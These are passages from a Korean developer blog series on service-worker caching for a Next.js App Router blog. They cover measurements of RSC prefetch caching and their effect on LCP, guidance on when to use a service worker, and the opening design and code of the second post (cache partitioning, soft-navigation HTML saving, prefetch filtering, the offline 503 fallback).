변형이 정말로 캐시에서 응답했는지는 `transferSize`로 확인하지 않았다. 앞에서 본 집계 아티팩트 때문이다. 워커 안에 카운터를 두고 프리페치의 캐시 적중과 네트워크 fetch를 직접 셌다. 배포본은 적중 0에 미스 31에 네트워크 31이었고 변형은 적중 31에 미스 0에 네트워크 0이었으며, 30회 전부 그랬다. 리소스 타이밍으로도 확인된다. 프리페치 31건의 duration 합이 배포본 2,104ms 대 변형 30ms이고, 마지막 프리페치 응답이 끝난 시각이 1,224ms 대 863ms다.

읽을 것은 둘이다. 하나는 프리페치를 캐시에서 응답하면 아예 막은 것과 같은 자리에 도착한다는 것이다. 9/30과 7/30은 카이제곱으로 p = 0.77이라 구별되지 않는다. 프리페치 트래픽이 느린 무리를 만든다는 것은 워커 없음 20/30 대 차단 7/30에서 p = 0.002로 이미 갈렸고(차단 조건은 프리페치만 빼고 나머지가 워커 없는 조건과 같다), 변형은 그 트래픽을 네트워크에서 없애는 다른 방법도 같은 곳에 도착한다는 것을 보여준다.

다른 하나는 배포본의 자리다. 14/30은 워커 없음 20/30과 변형 9/30 사이에 있다. 배포본과 변형의 차이는 p = 0.29라 이 표본으로는 유의하지 않으니 크기를 말할 수 없고 방향만 남지만, 그 방향이 맞다면 이 워커는 얻을 수 있는 이득의 일부를 설계상 놓치고 있는 것이다. `handleRSC`가 프리페치를 저장도 조회도 하지 않기 때문인데, 그 가드는 2편에서 "읽지도 않은 글이 캐시에 쌓인다"는 이유로, 그리고 "오프라인에 저장됨" 표시의 의미가 망가진다는 이유로 일부러 넣은 것이다. 2편의 설계 결정 하나가 3편에서 성능 대가로 돌아온 셈이다.

남겨 둘 것이 세 가지 있다. 하나는 배포본이 프리페치를 한 건도 줄이지 않으면서 무엇을 해서 20/30을 14/30으로 만들었는지를 끝내 못 짚었다는 것이다. 바이트가 아닌 것은 확인됐고, 남는 추정은 요청들이 워커를 경유하면서 우선순위나 렌더와의 경합 양상이 달라진다는 것인데 리소스 타이밍으로는 가르지 못했다. 같은 표의 FCP 열이 그 추정의 방증으로 보이기는 한다. 느린 무리가 가장 잦은 조건의 FCP가 96ms로 4개 중 가장 좋고, 느린 무리가 가장 드문 두 조건은 104ms와 128ms로 오히려 나쁘다. 순수한 바이트 경합이라면 나오기 어려운 패턴이라 렌더 순서 문제로 보이지만, 이것도 추정이다.

둘은 느린 무리의 정체를 못 짚었다는 것이다. 의심할 만한 후보는 있었다. `tailwind.css`의 `::view-transition-old(root)`와 `::view-transition-new(root)`가 `animation-duration: 0.3s`이고 포스트 `h1`이 `<ViewTransition>`으로 감싸져 있으며, 관측된 계단이 약 310ms였다. 그래서 워커 유무와 뷰 트랜지션 유무를 2×2로 놓고 칸당 22회를 쟀다. `startViewTransition`을 스텁으로 갈아끼우면 스냅샷과 커밋 타이밍까지 함께 바뀌므로, 메커니즘은 그대로 두고 애니메이션 길이만 1ms로 덮었다. 조작은 걸렸다. 트랜지션은 네 칸 모두 세 번씩 그대로 일어났고 호출 간격 p50만 373ms에서 92ms로 줄었다. 그런데 느린 무리는 줄기는커녕 합산 34%에서 48%로 늘었다(p = 0.28이라 이 차이도 유의하지는 않다). 결정적인 것은 느린 무리의 위치다. 애니메이션을 끄면 세 번의 트랜지션이 300\~400ms에 다 끝나는데 느린 무리의 LCP는 508\~584ms이고, 켜면 마지막 호출이 830ms인데 느린 무리는 448\~548ms다. 느린 무리는 트랜지션 일정과 무관하게 절대 시각 450\~580ms에 고정돼 있었으니 이 후보는 기각했다.

그 2×2에서 얻은 단서가 하나 있다. 네 칸 전부에서 느린 무리 회차의 FCP가 오히려 빠르다(88\~92ms 대 104\~120ms). 두 무리를 가르는 것이 "느려서 늦다"가 아니라 첫 페인트에 `h1`이 들어갔느냐로 보인다는 뜻이다. 빠른 무리는 첫 페인트가 조금 늦되 `h1`을 포함해 FCP와 LCP가 거의 붙고, 느린 무리는 `h1` 앞에 다른 것이 먼저 그려져 FCP가 일찍 찍히고 `h1`은 두 번째 페인트로 밀린다. 그렇다면 남은 후보는 스트리밍과 하이드레이션 순서다. `next.config.ts`에 `cacheComponents: true`가 켜져 있고 포스트 라우트에 `loading.tsx`가 있으니 셸이 먼저 오고 본문이 나중에 붙는 구조이기는 하다. 다만 이 후보는 재 보지 않은 추정이다.

셋은 워커가 완전 차단만큼 깨끗하지는 않다는 것이다. 배포본에서도 30회 중 14회는 밀렸다. 요청을 그대로 내보내면서 앞당기는 것과 아예 요청하지 않는 것은 같지 않다.

31건이라는 수도 그대로 받아들일 수는 없다. 헤드리스 기본 뷰포트(1280x720)에서 뷰포트에 들어온 링크 수다. 화면이 작은 실사용자 기기에서는 처음에 더 적게 나가고 스크롤하면서 늘어난다. 크기를 이 숫자 그대로 가져갈 수는 없고 방향만 가져갈 수 있다.

앞에서 정산한 바이트 비용과 나란히 놓으면 부호가 한 방향이라는 것도 분명해진다. 랩에서 잰 것은 빈 프로필로 소프트 내비게이션을 한 번 하는 상황이었고, 거기서는 워커가 글 HTML과 썸네일 4개를 배경에서 더 받아 트래픽을 265KB 늘렸다. 방금 잰 것은 홈을 한 번 거친 뒤 하드 내비게이션을 하는 상황인데, 여기서는 워커가 프리페치 345KB를 줄이지도 늘리지도 않는다. 그대로 통과시킨다. 처음에는 이 두 장면을 부호가 반대인 수지로 정산하려고 했지만, 줄이는 쪽이 사라졌으니 정산할 것도 없다. 지금 설계대로라면 이 워커가 바이트에 하는 일은 늘리거나 같게 두거나 둘 중 하나다. 줄이는 쪽은 설계하기 나름이라는 것을 변형 조건에서 확인했다.

그러면 성능에는 도움이 되는가. 이 블로그에서는 된다. 웜 LCP가 느린 무리에 떨어지는 비율이 워커 없음 17/25에서 워커 1/25로 내려갔고, 체류 시간을 맞춘 20쌍과 순서를 뒤집은 12쌍, 그리고 다른 날 다시 돌린 30회짜리 네 조건(20/30 대 14/30)에서도 부호가 그대로였다. 크기는 실행마다 흔들리니 말할 수 없다. 관측으로 확실한 것은 방향까지다.

왜 되는지는 모른다. 2편에서 짚은 설명(정적 자산을 Cache Storage에 넣어 재방문 FCP를 줄인다)은 랩과 프로덕션 양쪽에서 철회했다. 그다음으로 붙여 본 설명(HTTP 캐시가 재검증 없이는 응답하지 못하는 RSC 프리페치를 워커가 대신 응답한다)은 코드와 카운터로 철회했다. 이 워커는 프리페치를 대신 응답하지 않는다. 대신 응답하는 변형이 더 내려간다는 것은 확인했지만, 배포본이 프리페치를 하나도 줄이지 않고도 내려가 있는 몫은 여전히 설명이 없다. 그 자리는 설명 없이 남겨 둔다.

그래서 1편에서 서비스 워커를 쓸 이유로 꼽은 세 가지 가운데 세 번째, "HTTP 캐시로는 표현할 수 없는 전략이 필요할 때"에 이 블로그가 해당하는지는 이제 반쯤 답이 있다. `handleRSC`를 프리페치도 저장하고 조회하도록 고친 변형은 프리페치 31건을 전부 캐시에서 응답했고, 느린 무리의 비율이 프리페치를 아예 차단한 조건과 구별되지 않는 곳까지 내려갔다. HTTP 캐시가 재검증 없이는 못 하는 일을 워커가 해낸 것이다. 다만 이 측정은 변형에게 가장 유리한 조건이었다. 같은 출발 페이지에서 같은 글로 두 번째 들어가는 상황이라 `_rsc` URL이 첫 방문과 같았기 때문이다. 실제 독자는 매번 다른 곳에서 들어오고 그때마다 `next-router-state-tree`가 달라지니, 적중률이 이만큼 나올지는 재지 않았다.

이어서 1편의 다른 문장 하나도 좁혀야 한다. "목표가 재방문 성능 하나라면 이 레이어는 답이 아닐 가능성이 높다"고 쓰면서 근거로 "HTTP 캐시가 이미 해주는 일을 코드로 다시 만드는 셈"이라고 했다. 앞부분은 이 블로그에서 확인됐다. 정적 자산에 관한 한 Cache Storage는 HTTP 캐시보다 빠르지 않았다. 흔들리는 것은 "이미 해주는 일"이라는 전제다. App Router의 RSC 프리페치처럼 HTTP 캐시가 원래 잘 못 해주는 일이 있다는 것은 헤더로 확인했고, 그 자리를 워커가 메울 수 있다는 것도 한 번은 확인했다. 확인하지 못한 것은 그 이득이 실제 이동 패턴에서도 남느냐다.

이 결론이 어디까지 유효한지도 밝혀 둬야 한다. 이 블로그는 CDN이 이미 빠르고(엣지 HIT에서 최종 헤더까지 46ms다), 정적 자산에 `immutable` 캐시 헤더가 제대로 박혀 있고, LCP 요소가 텍스트다. 세 조건이 다르면 답도 다르다. 특히 원본 서버가 느리거나 CDN이 없는 사이트라면 Cache Storage가 지우는 왕복의 크기 자체가 달라져서 정적 자산에서도 이득이 날 수 있는데, 이 시리즈는 그런 환경을 한 번도 재지 않았다. 여기서 얻은 것은 "서비스 워커는 성능에 쓸모없다"가 아니라 "이 조건에서는 이득이 났고, 그 이득이 어디서 오는지는 아직 못 짚었다"이다.

마지막으로 하나 더 밝혀 둔다. 이 워커의 진짜 쓸모인 오프라인은 이 시리즈에서 처음부터 한 번도 재지 않았다. 성능 지표는 네트워크가 있을 때 얼마나 빠른가를 재는 잣대이고, 이 기능을 넣은 이유는 네트워크가 없을 때도 열리게 하는 것이었다. 세 편에 걸쳐 재고 되돌리고 다시 잰 숫자들이 전부 이 기능의 목적과는 조금 어긋난 잣대를 대고 있었던 셈이다. 그래도 무의미하지는 않다고 본다. 오프라인이 필요해서 넣는 것이라면 성능은 도입의 이유가 아니라 함께 지불하거나 돌려받는 값이고, 그 값이 어느 쪽으로 얼마인지는 알고 넣는 편이 낫다.

## 언제, 어떻게 쓰면 되는가

1편에서 도입 조건 세 가지를 꼽았을 때 그것은 전부 일반론이었다. 세 편을 재고 나니 그중 하나에는 적어도 진단법을 붙일 수 있게 됐다. HTTP 캐시로 표현할 수 없는 전략이 필요한 경우인데, 자기 사이트에 그런 요청이 있는지는 응답 헤더를 열어 보면 알 수 있다. 개발자 도구에서 페이지마다 반복해서 나가는 요청을 골라 두 줄을 본다. 먼저 `cache-control`이다. `no-store`면 브라우저 캐시는 그 응답을 저장하지도 않고, `no-cache`나 `max-age=0, must-revalidate`면 저장은 하되 쓸 때마다 서버에 다시 물어야 해서 왕복이 남는다. 다음은 `vary`다. 요청마다 값이 달라지는 헤더가 거기 걸려 있으면 저장된 항목에 다시 맞을 일이 드물어진다. 어느 쪽이든 그런 요청이 한 페이지에 수십 건씩 나간다면 이 블로그가 만난 것과 같은 상황이다. App Router의 RSC 프리페치는 `no-store`가 아니라 재검증과 `vary` 쪽이었다. 프레임워크가 자체 프리페치를 많이 쏘는 스택일수록 이 조항에 해당할 가능성이 높다. 다만 진단이 곧 해법은 아니다. 그 요청들을 서비스 워커로 메울 수 있는지는 워커를 그렇게 만든 다음에 다시 재야 알 수 있다. 이 블로그에 배포된 워커는 프리페치를 저장하지 않으니 이 진단에 해당하지 않고, 저장하도록 바꾼 변형은 한 번 재 본 것이 전부다.

정리하면 이렇다.

| 상황                                                                 | 이 시리즈의 답                                                                                                              |
| -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| 오프라인이 실제 요구사항이다                                         | 쓴다. 오프라인을 만들 다른 방법이 없다                                                                                      |
| 브라우저 캐시가 재사용하지 못하는 요청이 페이지마다 수십 건씩 나간다 | 재 보고 정한다. 이 블로그는 웜 LCP가 느린 무리에 떨어지는 비율이 내려갔지만, 배포본이 그 요청을 대신 응답한 결과는 아니었다 |
| 네트워크가 불안정한 사용자가 많다                                    | 쓰되 network-first에 타임아웃 폴백을 먼저 붙인다. 없으면 연결이 느릴 때 무한 로딩이 된다                                    |
| 정적 자산의 재방문 성능만 목표다                                     | 쓰지 않는다. 파일명 해시와 `immutable`이면 충분하고, 랩과 프로덕션 양쪽에서 Cache Storage가 더 빠르지 않았다                |

쓰기로 했다면 1편 마지막에 적어 둔 비용 줄이는 방법에 하나를 보탠다. 배경에서 무언가를 더 받는 설계라면 그 바이트를 먼저 계산한다. 이 워커는 글 하나를 클릭할 때마다 글 HTML과 썸네일 4개를 더 받았고, 그것은 어떤 웹 지표에도 잡히지 않았다.

2편 끝에 적어 둔 500ms로 돌아가면, 그 숫자에는 세 가지가 섞여 있었다. 평균을 끌어올린 꼬리, `reload` 대조군의 절반 이상을 차지한 내 트래픽, 그리고 p50에 남은 +35ms를 만든 103 Early Hints의 기준점 차이. 셋을 빼고 나면 이 블로그에서 워커 경유 지연은 중앙값에서 잡히지 않는다. 랩에서 2ms였고, 프로덕션에서도 최종 헤더 기준으로는 워커 쪽이 느리지 않았다. 꼬리에 남은 것이 워커 몫인지는 아직 모른다.

대신 비용은 다른 곳에 있었다. 글 하나를 클릭할 때마다 워커가 배경에서 265KB를 더 받고, 그 대역폭 경합이 클릭 요청에 50ms 안팎으로 되돌아온다. 어떤 웹 지표에도 잡히지 않는 비용이라 프록시에서 바이트를 세기 전에는 있는 줄도 몰랐다. 이득도 있었다. 프로덕션 웜 LCP가 느린 무리에 떨어지는 비율이 17/25에서 1/25로 내려갔다. 다만 2편에서 그 이득의 이유로 짚은 정적 자산 캐싱은 랩과 프로덕션 양쪽에서 부정됐고, 그다음 후보인 RSC 프리페치 응답은 배포본이 하지 않는 일이었다. 프리페치까지 캐시에서 응답하는 변형이 차단 조건만큼 내려간다는 것까지는 확인했고, 그 자리를 막고 있던 것이 2편에서 넣은 저장 가드였다. 이 시리즈에서 유일하게 코드 수정으로 이어지는 결론이 그것이다.

이 편의 대부분은 워커가 아니라 측정에 들어갔다. 대조군은 기다려도 생기지 않았고, 만든 대조군도 여러 번 틀렸으며(프록시가 헤더를 붙들고 있었고, 두 조건이 다른 순간을 재고 있었다), 평균 대신 고른 백분위수는 이봉분포의 두 무리 사이를 건너뛰었다. 2편 끝에 "전후를 비교할 실사용자 지표 수집부터 갖추는 것이 순서"라고 적었는데, 여기에 하나를 덧붙인다. 실사용자 지표가 대조군을 주지 않으면 대조군을 만드는 비용까지가 그 기능의 비용이고, 만든 대조군의 두 조건이 같은 것을 재고 있는지 확인하는 것까지가 측정이다.

---

[^1]: [PerformanceResourceTiming: workerStart](https://w3c.github.io/resource-timing/#dom-performanceresourcetiming-workerstart), Resource Timing. 스펙은 이 값을 Fetch의 final service worker start time으로만 정의한다. 기동 중인 경우와 이미 떠 있는 경우를 갈라 놓은 것은 [MDN 문서](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiming/workerStart) 쪽인데, 서비스 워커가 기동될 때는 기동 직전의 시각을, 이미 실행 중이면 fetch 이벤트 디스패치 직전의 시각을 돌려주며 워커를 거치지 않으면 0이라고 적고 있다. `PerformanceNavigationTiming`은 이 인터페이스를 상속한다.

[^2]: [browserContext.route()](https://playwright.dev/docs/api/class-browsercontext#browser-context-route), Playwright 문서. "Enabling routing disables http cache."라고 명시되어 있다.

[^3]: [PerformanceResourceTiming: responseStart](https://w3c.github.io/resource-timing/#dom-performanceresourcetiming-responsestart), Resource Timing. "The responseStart getter steps are to return this's `firstInterimResponseStart` if it is not 0; Otherwise this's `finalResponseHeadersStart`."

[^4]: [Chrome 133 릴리스 노트](https://developer.chrome.com/release-notes/133), "Revert responseStart and introduce firstResponseHeadersStart". Chrome 115가 TTFB에 쓰이는 `responseStart`의 의미를 최종 헤더로 바꿨다가, 다른 브라우저 및 도구와 어긋나는 호환성 문제 때문에 133에서 되돌리고 최종 헤더용 속성을 따로 두었다고 밝히고 있다.

[^5]: [NavigationPreloadManager](https://developer.mozilla.org/en-US/docs/Web/API/NavigationPreloadManager), MDN. 워커 기동과 병렬로 내비게이션 요청을 출발시키는 메커니즘과, 워커가 그 응답을 받는 `FetchEvent.preloadResponse`를 설명한다.

---

Source: https://yceffort.kr/2026/08/service-worker-caching-2.md
Title: <em>서비스 워커</em> 캐싱 적용기: App Router의 함정들과 GA4 실측
Description: 1편의 일반론을 들고 이 블로그(Next.js App Router)를 오프라인에서도 열리게 만들었다. 첫 배포에서는 방금 읽은 글이 오프라인에서 안 열렸고, 두 번째 배포에서는 글은 열리는데 이미지가 전부 깨졌다. 소프트 내비게이션과 프리페치, next/image가 만든 함정들을 하나씩 고쳐 배포한 연대기와, 그 결과를 GA4 실사용자 데이터로 정산한 기록이다. 재방문자 FCP는 평균 634ms 좋아졌고, TTFB는 평균 525ms 나빠졌다. 서비스 워커 캐싱 딥다이브 시리즈의 두 번째 편이다.
Date: 2026-08-27
Tags: web-performance, service-worker, pwa, nextjs
Series: 서비스 워커 캐싱 딥다이브

## Table of Contents

## 비행기 모드에서도 열리는 블로그

이 블로그는 이제 비행기 모드에서도 열린다. 한 번 읽은 글은 네트워크가 끊겨도 본문 이미지까지 그대로 보이고, 방문한 적 없는 글로 이동하면 오프라인 안내 페이지가 뜬다. 여기까지 만드는 데 들어간 것은 400줄 남짓의 서비스 워커 파일 하나가 전부인데, 그 400줄에 한 번에 도달하지 못했다. 커밋 히스토리를 보면 "PWA 지원 추가" 뒤에 "방문한 페이지가 오프라인에서 안 열리는 버그 수정", "본문 이미지가 캐시되지 않는 버그 수정"이 줄줄이 이어진다.

서비스 워커가 요청 경로 어디에 서고, Cache Storage는 어떤 성질의 저장소이며, 캐싱 전략은 무엇을 기준으로 고르는지는 [1편](/2026/08/service-worker-caching-1)에서 정리했다. 이번 편은 그 일반론을 들고 실제로 배포하며 겪은 일들의 기록이다. 설계에서 출발해, 실패한 배포 두 번을 각각 부검하고, 워커 자신을 배포하는 문제를 지나, 마지막에 GA4 실사용자 데이터로 정산한다. 소프트 내비게이션과 RSC(React Server Components) 요청, `next/image`의 srcset처럼 프레임워크가 만들어내는 요청의 모양이 이야기의 중심인데, 이 각론이야말로 Workbox 같은 범용 라이브러리가 대신해 줄 수 없는 부분이기도 하다. 글에서 확인한 프레임워크 동작은 이 블로그가 쓰는 Next.js 16.3 기준이다.

## Workbox 없이 시작한 설계

서비스 워커 캐싱을 시작하면 대부분 [Workbox](https://developer.chrome.com/docs/workbox)를 먼저 만난다. 프리캐싱, 런타임 캐싱 전략, 만료 관리까지 검증된 구현을 제공하는 구글의 라이브러리이고, 일반적인 경우라면 지금도 Workbox나 그 위에 얹힌 프레임워크 통합을 쓰는 것이 맞다고 생각한다. 바퀴를 다시 발명하는 것이 목적이 아니라면 말이다.

그럼에도 이 블로그에서는 서비스 워커를 처음부터 직접 썼다. 이유는 두 가지였다. 하나는 뒤에서 다룰 App Router 특유의 요청들(RSC 페이로드, 프리페치, `next/image` 변형) 때문이다. 이 요청들을 어떻게 캐시할지는 "cache-first냐 network-first냐" 수준의 전략 선택이 아니라, 요청의 헤더와 쿼리를 뜯어보고 프레임워크의 폴백 동작까지 이용해야 하는 문제였고, 추상화 위에서 하기보다 바닥에서 직접 하는 편이 오히려 단순했다. 다른 하나는 솔직히 학습 목적이다. 책에서 못 다룬 주제를 라이브러리 설정으로 때우면 이번에도 이해 없이 지나갈 것 같았다. 결과적으로 의존성 없는 400줄 남짓의 `sw.js` 하나가 나왔고(이 글을 쓰는 시점에는 446줄인데, 그중 44줄은 캐싱과 무관한 웹 푸시 핸들러다), 무슨 일이 일어나는지 전부 설명할 수 있게 됐다. 물론 Workbox가 이미 풀어놓은 문제들(엔트리 상한, 오프라인 폴백)을 다시 푸는 비용을 치렀다.

설계의 출발점은 "무엇을 어떤 전략으로 캐시할 것인가"를 리소스 유형별로 정하는 일이었다. 모든 요청에 같은 전략을 적용할 수 없는 이유는 명확하다. 파일명에 해시가 박힌 정적 자산은 영원히 캐시해도 안전하지만, HTML은 배포마다 바뀌어야 한다. 그래서 캐시를 용도별로 네 가지로 나누고, 각각 다른 전략을 배정했다.

```javascript
const CACHE_VERSION = 'v4' // 글을 쓰는 시점의 배포본 기준
const STATIC_CACHE = `static-${CACHE_VERSION}`
const PAGES_CACHE = `pages-${CACHE_VERSION}`
const IMAGES_CACHE = `images-${CACHE_VERSION}`
const RSC_CACHE = `rsc-${CACHE_VERSION}`
```

각 캐시의 대상과 전략은 다음과 같다.

| 캐시     | 대상                                        | 전략                          |
| -------- | ------------------------------------------- | ----------------------------- |
| `static` | `/_next/static/*` (해시 포함), 웹폰트       | cache-first                   |
| `pages`  | 페이지 내비게이션 HTML                      | network-first + 오프라인 폴백 |
| `images` | `/_next/image`, OG 이미지, 외부 본문 이미지 | cache-first + 변형 폴백       |
| `rsc`    | `?_rsc=` 쿼리가 붙은 RSC 페이로드           | network-first + MPA 폴백      |

전략을 가른 기준은 [1편](/2026/08/service-worker-caching-1) 카탈로그의 첫 번째 질문, **이 리소스가 낡은 채로 보여도 되는가**였다. 해시가 박힌 정적 자산은 URL이 곧 내용이므로 낡을 수가 없다. 캐시에 있으면 네트워크를 볼 이유가 없으니 cache-first다. 이미지는 사정이 조금 다르다. `/_next/image?url=...`의 URL에는 원본의 해시가 없어서, 같은 경로의 원본이 교체되면 캐시에 낡은 변형이 남을 수 있다. 발행 후 이미지를 갈아 끼우는 일이 거의 없는 블로그의 운영 특성에 기대어 이미지도 cache-first로 묶은 것이지, 이 선택이 어디서나 안전한 것은 아니다. 반면 HTML과 RSC 페이로드는 같은 URL의 내용이 배포마다 바뀐다. 온라인일 때는 항상 최신을 보여주고, 캐시는 오프라인일 때의 보험으로만 쓰는 network-first가 맞다. 책에서 다뤘던 `Cache-Control` 설계와 판단 기준 자체는 같고, 집행 위치가 헤더에서 코드로 옮겨왔을 뿐이다. 다만 rsc 캐시가 보험 노릇을 하는 범위는 이 표가 시사하는 것보다 좁다. `?_rsc=`에 붙는 값은 프리페치 여부와 세그먼트 프리페치, 라우터 상태 트리, `Next-Url`까지 헤더 4개를 해시한 것인데, 이 중 상태 트리는 목적지가 아니라 지금 떠 있는 페이지의 라우터 상태다. 같은 글로 가더라도 어느 페이지에서 출발했느냐에 따라 URL이 달라진다는 뜻이다. 1편에서 본 대로 `caches.match()`는 쿼리 스트링까지 그대로 비교하므로, 캐시된 rsc 응답이 맞아떨어지는 것은 같은 출발 페이지에서 같은 글로 다시 갈 때 정도이고 그 밖에는 미스가 난다. 오프라인에서 글을 실제로 열어주는 것은 rsc 캐시가 아니라 뒤에 나올 503 폴백이다.

fetch 핸들러는 이 분류를 순서대로 적용하는 라우터가 된다. 실제 코드의 뼈대만 옮기면 다음과 같다.

```javascript
self.addEventListener('fetch', (event) => {
  const {request} = event
  if (request.method !== 'GET') return

  const url = new URL(request.url)

  // 해시 정적 자산과 폰트: 영구 캐시
  if (isStaticAsset(url) || isFontRequest(url)) {
    event.respondWith(cacheFirst(event, STATIC_CACHE))
    return
  }
  // 페이지 내비게이션: 네트워크 우선, 실패 시 캐시 → 오프라인 페이지
  if (request.mode === 'navigate') {
    event.respondWith(handleNavigation(event))
    return
  }
  // App Router 소프트 내비게이션의 RSC 요청
  if (isRSCRequest(request, url)) {
    event.respondWith(handleRSC(event))
    return
  }
  // 이미지: 캐시 우선
  if (isImageRequest(url)) {
    event.respondWith(handleImage(event))
  }
})
```

한 가지 덧붙이면, 애널리틱스처럼 캐시해서는 안 되는 요청은 아예 `respondWith()`를 부르지 않고 리턴한다. 서비스 워커가 관여하지 않은 요청은 원래의 네트워크 경로(HTTP 캐시 포함)를 그대로 탄다. 1편에서 본 오버헤드 문제 때문에도, 모든 요청을 가로채야 한다는 강박을 버리는 것이 중요하다. 그리고 위 스니펫은 뼈대라서 실제 파일에는 분기가 몇 개 더 있다. 교차 출처 요청은 폰트 CDN과 이미지만 캐시하고 나머지는 통과시키며, `/api/*`는 OG 이미지 경로만 캐시 대상이고, 위 분기에 걸리지 않은 나머지 same-origin `/_next/*` 요청은 network-first로 처리한다. 오프라인에서 캐시마저 없을 때는 경로에 따라 408이나 503 같은 실패 응답을 만들어 돌려준다.

전통적인 MPA라면 이 설계로 끝났을 것이다. 여기서부터가 문서에 없던 부분이다.

## 첫 배포: 방금 읽은 글이 오프라인에서 안 열린다

첫 구멍은 배포 직후에 발견됐다. 홈에서 글 목록을 눌러 읽고, 비행기 모드를 켜고 새로고침을 하면 방금 읽은 글이 열리지 않았다. 분명 network-first로 pages 캐시에 HTML을 쌓고 있을 텐데, 캐시를 열어보면 비어 있었다.

### 소프트 내비게이션은 HTML을 남기지 않는다

원인은 App Router의 동작 방식에 있다. 링크 클릭으로 일어나는 소프트 내비게이션은 문서(HTML) 요청을 만들지 않는다. 대신 `?_rsc=` 쿼리가 붙은 fetch로 RSC 페이로드만 받아 클라이언트에서 화면을 갱신한다(실제 판별 코드는 이 쿼리와 함께, 같은 목적으로 붙는 `rsc: 1` 요청 헤더도 본다). 즉 `request.mode === 'navigate'` 분기는 첫 진입에서만 타고, 그 뒤로 아무리 글을 읽어도 `pages` 캐시에는 HTML이 쌓이지 않는 것이다.

그래서 RSC 요청을 처리할 때, 그 페이지의 HTML을 백그라운드에서 별도로 받아 저장하는 우회로를 만들었다.

```javascript
async function savePageHTML(request) {
  const url = new URL(request.url)
  url.searchParams.delete('_rsc')
  const response = await fetch(url.href)
  if (!response.ok) return
  await putWithTrim(PAGES_CACHE, url.href, response.clone())
  await saveImagesFromHTML(response)
}
```

`_rsc` 쿼리를 떼면 같은 경로의 문서 URL이 되므로, 그것을 다시 fetch해서 HTML로 저장한다. 요청이 한 번 더 나가는 비용이 있지만 백그라운드(`event.waitUntil`)에서 일어나므로 렌더링을 막지는 않는다. 물론 방문한 글마다 HTML을 한 번 더 받는(그리고 뒤에 나올 이미지 선다운로드까지 얹히는) 대역폭 비용 자체는 실재하는 트레이드오프다. 이 HTML이 있어야 오프라인에서의 새로고침과 URL 직접 진입이 가능해진다. 위 스니펫은 뼈대만 남긴 것이라, 실제 함수에는 오프라인일 때 저장을 건너뛰는 try/catch와 뒤에 나올 토스트를 띄우려고 클라이언트로 보내는 `postMessage`가 더 붙어 있다.

### 프리페치를 캐시하면 안 되는 이유

RSC 요청을 저장하기로 하면 곧바로 다음 문제가 생긴다. Next.js는 기본값으로 뷰포트에 들어온 링크를 미리 프리페치한다. 프리페치도 똑같이 `?_rsc=` 요청이므로 구분 없이 저장하면 **읽지도 않은 글이 캐시에 쌓인다**. 기본값 그대로였다면 목록 페이지를 한 번 스크롤하는 것만으로 수십 개의 글이 "방문"으로 기록됐을 것이다. 저장 용량 낭비이기도 하지만, 뒤에 나올 "오프라인에 저장됨" 표시의 의미가 망가지는 것이 더 문제였다.

정확히 말하면 이 블로그가 그 규모의 문제를 겪은 것은 아니다. 목록과 카드의 글 링크에는 서비스 워커를 만들기 한 달여 전부터 다른 이유로 `prefetch={false}`가 걸려 있었고, 그보다 나중에 만든 검색과 아카이브에도 페이지를 붙이는 시점부터 같은 설정이 들어갔다. 홈을 거쳐 글로 들어가는 동안 나간 요청을 세어 보면 글 경로로 나간 프리페치는 영문판 토글 링크와 시리즈의 다음 글 링크 둘뿐이고, 나머지 프리페치는 전부 `/tags/*`와 `/series/*`였다. 그래도 거르지 않을 수는 없었다. 읽지 않은 다음 글이 "오프라인에 저장됨"으로 뜨는 것은 수십 개가 쌓이는 것과 종류가 같은 문제이기 때문이다.

다행히 Next.js는 프리페치 요청에 식별 가능한 헤더를 붙인다.

```javascript
function isPrefetchRequest(request) {
  return (
    request.headers.has('next-router-prefetch') ||
    request.headers.has('next-router-segment-prefetch')
  )
}
```

프리페치는 그대로 네트워크에 흘려보내고, 이 헤더가 없는 실제 방문만 저장한다. 참고로 이 헤더들은 공개 API라기보다 프레임워크 내부 구현에 가까워서, Next.js 버전이 오르면 깨질 수 있는 지점이라는 것은 인정해야겠다. 이런 취약성이 바로 프레임워크 위에서 서비스 워커를 직접 짤 때 감수하는 비용이다.

### 오프라인 RSC 실패는 503으로 돌려준다

반대 방향의 구멍도 막아야 했다. 오프라인에서 캐시에 없는 글로 소프트 내비게이션이 일어나면 어떻게 해야 할까. RSC 요청이 실패했을 때 아무 응답이나 돌려주면 App Router는 화면을 갱신하지 못한 채 멈춘다. 여기서 프레임워크의 폴백 동작을 이용했다. Next.js 라우터는 RSC fetch의 응답이 2xx가 아니거나 RSC content-type(`text/x-component`)이 아니면 해당 내비게이션을 MPA 방식(문서 전체 요청)으로 폴백한다. 공식 문서가 아니라 라우터 소스의 동작이라 버전이 오르면 달라질 수 있는데, 이 폴백을 믿고 캐시에 없는 RSC 요청에는 빈 503을 돌려줬다. 그 문서 요청은 다시 서비스 워커의 `navigate` 분기로 들어오고, 거기서 캐시된 HTML이 있으면 그것을, 없으면 오프라인 안내 페이지를 응답한다. 서비스 워커 단독으로는 풀 수 없고, 프레임워크가 실패에 어떻게 반응하는지까지 알아야 이어지는 그림이다.

## 두 번째 배포: 글은 열리는데 이미지가 전부 깨졌다

수정을 배포하자 글은 오프라인에서 열렸다. 그런데 이번에는 이미지가 전부 엑박이었다. 원인은 두 가지였다.

첫째, 본문 이미지는 지연 로딩된다. 뷰포트 밖의 이미지는 fetch 이벤트 자체가 발생하지 않으므로, 글을 끝까지 스크롤하지 않으면 그 이미지들은 캐시에 들어올 기회가 없다. 그래서 페이지 HTML을 저장할 때 `<img>` 태그를 파싱해 이미지 URL을 추출하고, 백그라운드에서 미리 받아 저장하도록 했다. 외부 도메인 이미지는 `no-cors`로 가져와 opaque 응답을 그대로 저장한다. [1편](/2026/08/service-worker-caching-1)에서 본 대로 Chromium은 opaque 응답마다 0에서 약 14.1MB 사이의 난수를 패딩으로 더하므로 이것은 공짜가 아니다. 기댓값이 7MB 남짓이니 뒤에서 둘 images 캐시 상한 300개를 외부 이미지로 채우면 집계 용량만 평균 2GB, 최악이면 4GB를 넘길 수 있는 규모라, 외부 이미지의 오프라인 지원을 포기하지 않는 한 상한으로 총량을 누르는 것 말고는 마땅한 답이 없었다.

